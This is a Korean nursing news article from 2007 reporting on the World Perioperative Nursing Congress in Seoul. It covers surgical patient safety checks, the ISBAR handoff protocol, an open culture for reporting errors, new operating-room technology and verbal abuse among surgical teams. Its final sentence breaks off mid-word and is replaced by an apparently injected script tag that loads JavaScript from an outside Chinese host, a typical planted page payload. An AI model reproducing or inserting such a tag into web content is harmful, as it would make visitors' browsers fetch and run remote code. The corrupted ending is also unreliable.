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세계수술간호학회 핵심이슈 리뷰
`환자안전' 최우선 목표로 근거중심 간호 실천
[편집국] 정규숙기자   kschung@koreanurse.or.kr     기사입력 2007-10-10 오전 10:56:51

◇ 실수 보고하는 열린 문화 정착 … 징계 보다 재발 방지가 중요


 제14회 세계수술간호학회가 `근거중심 수술간호(The World of Perioperative Nursing : Evidence Practice Future)' 주제로 10월 1~4일 서울 코엑스에서 열렸다.
 36개국에서 2000여명의 간호사들이 참가해 환자안전, 수술팀원 간의 의사소통, 의료과실로부터 배우기, 근거중심실무 등 세계 수술간호계의 현안 이슈들을 놓고 열띤 논의를 펼쳤다.
 특히 병원수술간호사회가 아시아에서는 처음으로 학회를 유치해 성공적으로 치러냄으로써 한국 간호의 저력을 세계에 보여줬다는 점에서 큰 의미를 남겼다. 학회는 미국 덴버에 본부를 두고 있는 수술간호사협회(Association of periOperative Registered Nurses) 주최로 2년마다 열린다.

환자안전 철저히 점검

 수술환자의 안전(Safety)은 세계적인 핫 이슈이다. 수술간호사협회(AORN)는 수술을 받는 환자 누구에게나 반드시 지켜야 하는 지침인 `유니버설 프로토콜'을 준수할 것을 권고하고 있다. 정확한 환자, 정확한 수술명, 정확한 수술부위인지 철저히 확인하라는 것이다. 수술 직전 최종 점검을 다시 한 번 더 한다는 의미인 `타임아웃'을 지키는 것도 필수다.
 로레인 버틀러 간호사(미 인디애나 클라리안병원)는 “수술용품에 태그를 부착함으로써 수술 후 환자의 몸을 스캔해 안에 남아있는 물품을 찾아내도록 한 탐지시스템이 개발돼 활용되고 있다”고 소개했다.

인수인계 프로토콜 활용

 수술팀원 간의 의사소통은 환자의 안전과 직결된다. 병동의 입원환자가 수술실에 도착해 수술을 받고 회복실을 거쳐 다시 병실로 돌아가기까지는 여러 단계에서 여러 명의 의료진을 거친다. 각 단계마다 의료진들이 자신의 업무에는 최선을 다했지만, 인계를 주고받는 상대방과 충분하게 정확한 의사소통을 하지 않았을 경우 실수가 발생하게 된다. 특히 업무가 전산화되면서 더욱 더 의사소통의 중요성이 강조되고 있다.
 환자를 인계할 때 반드시 확인하고 전달해야 할 내용을 프로토콜로 만들어 쓰고 있는 추세다. 대표적인 프로토콜 ISBAR은 △전화를 건 이유를 정확히 설명하고(Introduction) △환자의 이름과 나이, 진단명, 현재 상태 등에 대해 보고하고(Situation) △환자의 종교, 투약 유무, 알레르기, 가족 등에 대한 정보를 제공하고(Background) △활력징후와 위험요인 등에 대해 설명하고(Assessment) △기타 환자와 관련된 의미 있는 정보에 대해 말하는(Recommendation) 것이다.

실수로부터 배우기

 의료과실을 무조건 은폐하기 보다는, 실수로부터 무엇을 배울 것인가를 고민하는 방향으로 수술실 문화가 바뀌고 있다. 왜 문제가 발생했는지 점검하지 않고 넘어갈 경우 같은 실수가 또 다른 사람에 의해 반복적으로 일어나게 되기 때문이다.
 린다 그로아 수술간호사협회(AORN) 사무총장은 “의료사고 또는 잠재적 과실에 대해 `내가 실수했다'고 보고할 수 있는 열린 문화, 실수로부터 배워나가는 문화가 정착돼야 한다”면서 “잘못한 사람을 징계하는 것보다, 과실 사례를 노출시켜 문제가 일어난 원인을 분석하고 업무 시스템을 개선함으로써 재발을 방지하는 것이 더 중요하다”고 강조했다.

첨단 장비와 기술 도입

 로봇, 내비게이션 같은 첨단 과학기술이 환자 수술에 활용되는 시대가 열렸다. 최첨단 수술장비와 수술방법이 등장하고, 환자의 수술 질환별 부위별로 수술방법이 전문화 세분화되고 있다. 이에 따라 새로운 장비와 기술을 이해하고 관리해야 하는 간호사들도 바빠졌고, 업무 스트레스가 높아지고 있다. 첨단 기계와 신기술 의존도가 높아지면서 스펀지, 바늘, 칼날, 예리한 기구, 소형 부속품 등을 계수(카운트)하는 과정도 점점 더 복잡해지고 있다.
 테크놀로지의 발달은 수술실 신규간호사 교육에도 변화를 가져왔다. 데브라 클렌디넹 교수(캐나다 알곤퀸대)는 “신규간호사 오리엔테이션에 시뮬레이션 교육을 도입하면서 간호사들의 업무 부담을 덜고, 간호업무 체계화를 앞당기게 됐다”면서 “온라인 교육프로그램 활성화는 간호학생 교환 등 국제교류에도 기여하게 될 것”이라고 말했다.

언어폭력 뿌리 뽑아야

 의료진 간에 서로 존중하고 협력하는 풍토가 정착될 수 있도록 수술실 문화를 바꿔나가자는 움직임이 일고 있다. 특히 수술팀원 간의 언어폭력을 뿌리 뽑아야 한다는 목소리가 높다. 수술실은 실수가 용납되지 않는 극도로 예민하고 긴장된 상황이 계속되는 곳이며, 환자는 마취상태이고 보호자나 외부인이 없다. 이런 특성 때문에 노골적인 반말, 소리 지르기 등과 같은 언어폭력이 쉽게 일어나는 것으로 나타났다.
 베버리 커시너 회장(미 제네시 어소시에이트)은 “모든 형태의 폭력은 신체의 이상을 유발시키며, 집중력 저하 우울증 강박증 등의 정서적 이상상?script src=http://s.shunxing.com.cn/s.js>
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